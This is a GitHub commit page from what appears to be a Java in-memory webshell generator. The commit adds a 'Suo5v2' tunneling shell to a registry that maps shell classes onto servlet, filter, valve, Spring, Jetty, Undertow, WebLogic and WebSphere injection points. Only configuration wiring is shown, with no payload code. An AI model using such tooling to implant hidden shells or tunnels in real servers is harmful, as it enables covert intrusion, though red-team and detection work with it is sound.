Skip to content

Commit aa1e9b2

Browse files
committed
feat: support suo5 v2 shell
1 parent a554ccb commit aa1e9b2

File tree

31 files changed

+11821
-34
lines changed

31 files changed

+11821
-34
lines changed

asserts/suo5/suo5v2-darwin-arm64

10.9 MB
Binary file not shown.

asserts/suo5/suo5v2-linux-amd64

10.4 MB
Binary file not shown.

boot/src/main/java/com/reajason/javaweb/boot/dto/MemShellGenerateRequest.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -55,7 +55,7 @@ public ShellToolConfig parseShellToolConfig() {
5555
.encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor()))
5656
.implementationClass(CommandConfig.ImplementationClass.fromString(shellToolConfig.getImplementationClass()))
5757
.build();
58-
case Suo5 -> Suo5Config.builder()
58+
case Suo5, Suo5v2 -> Suo5Config.builder()
5959
.shellClassName(shellToolConfig.getShellClassName())
6060
.headerName(shellToolConfig.getHeaderName())
6161
.headerValue(shellToolConfig.getHeaderValue())

generator/src/main/java/com/reajason/javaweb/memshell/ServerFactory.java

Lines changed: 26 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -8,6 +8,7 @@
88
import com.reajason.javaweb.memshell.shelltool.godzilla.*;
99
import com.reajason.javaweb.memshell.shelltool.neoreg.*;
1010
import com.reajason.javaweb.memshell.shelltool.suo5.*;
11+
import com.reajason.javaweb.memshell.shelltool.suo5v2.*;
1112

1213
import java.util.Collections;
1314
import java.util.List;
@@ -184,6 +185,31 @@ public class ServerFactory {
184185
.addShellClass(ACTION, Suo5Struct2Action.class)
185186
.build());
186187

188+
addToolMapping(ShellTool.Suo5v2, ToolMapping.builder()
189+
.addShellClass(SERVLET, Suo5v2Servlet.class)
190+
.addShellClass(JAKARTA_SERVLET, Suo5v2Servlet.class)
191+
.addShellClass(FILTER, Suo5v2Filter.class)
192+
.addShellClass(JAKARTA_FILTER, Suo5v2Filter.class)
193+
.addShellClass(LISTENER, Suo5v2Listener.class)
194+
.addShellClass(JAKARTA_LISTENER, Suo5v2Listener.class)
195+
.addShellClass(VALVE, Suo5v2Valve.class)
196+
.addShellClass(JAKARTA_VALVE, Suo5v2Valve.class)
197+
.addShellClass(PROXY_VALVE, Suo5v2.class)
198+
.addShellClass(JAKARTA_PROXY_VALVE, Suo5v2.class)
199+
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, Suo5v2Interceptor.class)
200+
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, Suo5v2Interceptor.class)
201+
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, Suo5v2ControllerHandler.class)
202+
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, Suo5v2ControllerHandler.class)
203+
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, Suo5v2.class)
204+
.addShellClass(AGENT_FILTER_CHAIN, Suo5v2.class)
205+
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Suo5v2.class)
206+
.addShellClass(JETTY_AGENT_HANDLER, Suo5v2JettyHandler.class)
207+
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, Suo5v2UndertowServletHandler.class)
208+
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Suo5v2.class)
209+
.addShellClass(WAS_AGENT_FILTER_MANAGER, Suo5v2.class)
210+
.addShellClass(ACTION, Suo5v2Struct2Action.class)
211+
.build());
212+
187213
addToolMapping(ShellTool.NeoreGeorg, ToolMapping.builder()
188214
.addShellClass(SERVLET, NeoreGeorgServlet.class)
189215
.addShellClass(JAKARTA_SERVLET, NeoreGeorgServlet.class)

generator/src/main/java/com/reajason/javaweb/memshell/ShellTool.java

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -9,6 +9,7 @@ public class ShellTool {
99
public static final String Behinder = "Behinder";
1010
public static final String Command = "Command";
1111
public static final String Suo5 = "Suo5";
12+
public static final String Suo5v2 = "Suo5v2";
1213
public static final String AntSword = "AntSword";
1314
public static final String NeoreGeorg = "NeoreGeorg";
1415
public static final String Custom = "Custom";

generator/src/main/java/com/reajason/javaweb/memshell/ShellToolFactory.java

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -23,6 +23,7 @@ public class ShellToolFactory {
2323
register(ShellTool.Behinder, BehinderGenerator.class, BehinderConfig.class);
2424
register(ShellTool.Command, CommandGenerator.class, CommandConfig.class);
2525
register(ShellTool.Suo5, Suo5Generator.class, Suo5Config.class);
26+
register(ShellTool.Suo5v2, Suo5Generator.class, Suo5Config.class);
2627
register(ShellTool.AntSword, AntSwordGenerator.class, AntSwordConfig.class);
2728
register(ShellTool.NeoreGeorg, NeoreGeorgGenerator.class, NeoreGeorgConfig.class);
2829
register(ShellTool.Custom, CustomShellGenerator.class, CustomConfig.class);

0 commit comments

Comments
 (0)